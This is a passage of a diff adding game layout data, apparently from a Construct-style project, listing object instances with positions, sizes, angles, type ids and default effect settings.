+ []
+ ],
+ 485,
+ 4602,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3609,
+ 662,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4603,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3682,
+ 1135,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4604,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3683,
+ 1056,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4605,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3683,
+ 977,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4606,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3683,
+ 898,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4607,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3684,
+ 820,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4608,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3685,
+ 741,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4609,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3760,
+ 1135,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4610,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3761,
+ 1056,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4708,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3761,
+ 977,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4710,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3761,
+ 898,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4711,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3762,
+ 820,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4726,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3763,
+ 741,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4727,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3686,
+ 663,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4728,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3764,
+ 663,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4729,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2548,
+ 725,
+ 0,
+ 76,
+ 280,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 413,
+ 4730,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0.9,
+ 0,
+ 0,
+ 0,
+ 120,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2122.848876953125,
+ 993.4805297851562,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 4731,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2289.848876953125,
+ 993.4805297851562,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 4732,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 823,
+ 950,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4733,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5334.18359375,
+ 566.0819091796875,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 4735,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5334.184,600",
+ 0,
+ 2,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5336.18359375,
+ 582.0819091796875,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 4736,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5337.18359375,
+ 236.0818786621094,
+ 0,
+ 13,
+ 804,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 4737,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -911,
+ 1305,
+ 0,
+ 275,
+ 275,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 4740,
+ [],
+ [
+ [
+ -50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1416,
+ 845,
+ 0,
+ 249.9819946289063,
+ 249.9819946289063,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 4741,
+ [],
+ [
+ [
+ 50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -638,
+ 1437,
+ 0,
+ 275,
+ 275,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 4742,
+ [],
+ [
+ [
+ -50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5729,
+ 1569,
+ 0,
+ 59,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0.508474588394165,
+ 0.5423728823661804,
+ 0,
+ 0,
+ []
+ ],
+ 390,
+ 4743,
+ [],
+ [
+ [
+ 300,
+ 0
+ ],
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 1569,
+ 0,
+ 59,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0.508474588394165,
+ 0.5423728823661804,
+ 0,
+ 0,
+ []
+ ],
+ 390,
+ 4744,
+ [],
+ [
+ [
+ 300,
+ 0
+ ],
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5783,
+ 1569,
+ 0,
+ 59,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0.508474588394165,
+ 0.5423728823661804,
+ 0,
+ 0,
+ []
+ ],
+ 390,
+ 4745,
+ [],
+ [
+ [
+ 300,
+ 0
+ ],
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5260,
+ 1304,
+ 0,
+ 257,
+ 16,
+ 0,
+ 0,
+ 1,
+ 0.5019454956054688,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 387,
+ 4746,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5415,
+ 1400,
+ 0,
+ 257,
+ 16,
+ 0,
+ 0,
+ 1,
+ 0.5019454956054688,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 387,
+ 4747,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5813,
+ 1107,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 4748,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5972,
+ 1107,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 4749,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6126,
+ 1107,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 4750,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -384,
+ 1024,
+ 0,
+ 270,
+ 204,
+ 0,
+ 0,
+ 1,
+ 0.4666666686534882,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 333,
+ 4754,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1376,
+ 1115,
+ 0,
+ 514,
+ 386,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 321,
+ 4755,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 4756,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 4757,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 4758,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1382,
+ 615,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 4759,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1194,
+ 617,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 4760,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 4761,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 75,
+ 922,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 4762,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 72,
+ 922,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 4763,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 74,
+ 897,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 4764,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 74,
+ 898,
+ 0,
+ 56,
+ 52,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 4765,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -445,
+ 240,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 4766,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -413,
+ 630,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 4767,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2776,
+ 1236,
+ 0,
+ 6106,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 4769,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1052,
+ 1908,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.4934210479259491,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 366,
+ 4770,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1339,
+ 1935,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 368,
+ 4771,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 985,
+ 1712,
+ 0,
+ 416,
+ 33,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.01339285727590323,
+ 0.2121212184429169,
+ 0,
+ 0,
+ []
+ ],
+ 372,
+ 4772,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 976,
+ 1916,
+ 0,
+ 395,
+ 9,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 373,
+ 4783,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1146,
+ 803,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 4784,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1022,
+ 825.48876953125,
+ 0,
+ 25,
+ 226,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 376,
+ 4785,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1266,
+ 819.2470703125,
+ 0,
+ 26,
+ 218,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 377,
+ 4786,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1146,
+ 791,
+ 0,
+ 49.11710357666016,
+ 32.80466461181641,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 378,
+ 4787,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1125,
+ 807,
+ 0,
+ 9.54636001586914,
+ 42.17941665649414,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 4788,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1167,
+ 807,
+ 0,
+ 9.54636001586914,
+ 43.21585464477539,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 4789,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -377,
+ 1413,
+ 0,
+ 197,
+ 222,
+ 0,
+ 0,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ 0,
+ 0,
+ []
+ ],
+ 380,
+ 4790,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 6024,
+ 1004,
+ 0,
+ 716,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 4791,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6193,
+ 1275,
+ 0,
+ 1058,
+ 261,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 4792,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5768,
+ 1492,
+ 0,
+ 170,
+ 57,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ 0,
+ 0,
+ []
+ ],
+ 389,
+ 4797,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 8,
+ 0,
+ 0,
+ 0,
+ -200,
+ 0
+ ],
+ [
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -945,
+ 1538,
+ 0,
+ 212.0303955078125,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 383,
+ 4799,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4847,
+ 741,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4800,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -170,
+ 1625,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 4801,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -319,
+ 1646,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 4802,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3490.989501953125,
+ 581.074951171875,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4808,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8498.5,
+ 577,
+ 0,
+ 527,
+ 67,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4820,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8520.5,
+ 710,
+ 0,
+ 518,
+ 203,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4821,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6148.080078125,
+ 496.1255493164063,
+ 0,
+ 194,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 408,
+ 4822,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3531.85107421875,
+ 605.636962890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4823,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 395,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 488,
+ 4824,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 491,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 489,
+ 4825,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 587,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 490,
+ 4826,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 683,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 491,
+ 4827,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 318,
+ 923,
+ 0,
+ 144,
+ 93,
+ 0,
+ -1.047197818756104,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4828,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 264.9929504394531,
+ 725.5409545898438,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4844,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 79.84674072265625,
+ 671.078369140625,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4850,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 357,
+ 568,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4854,
+ [],
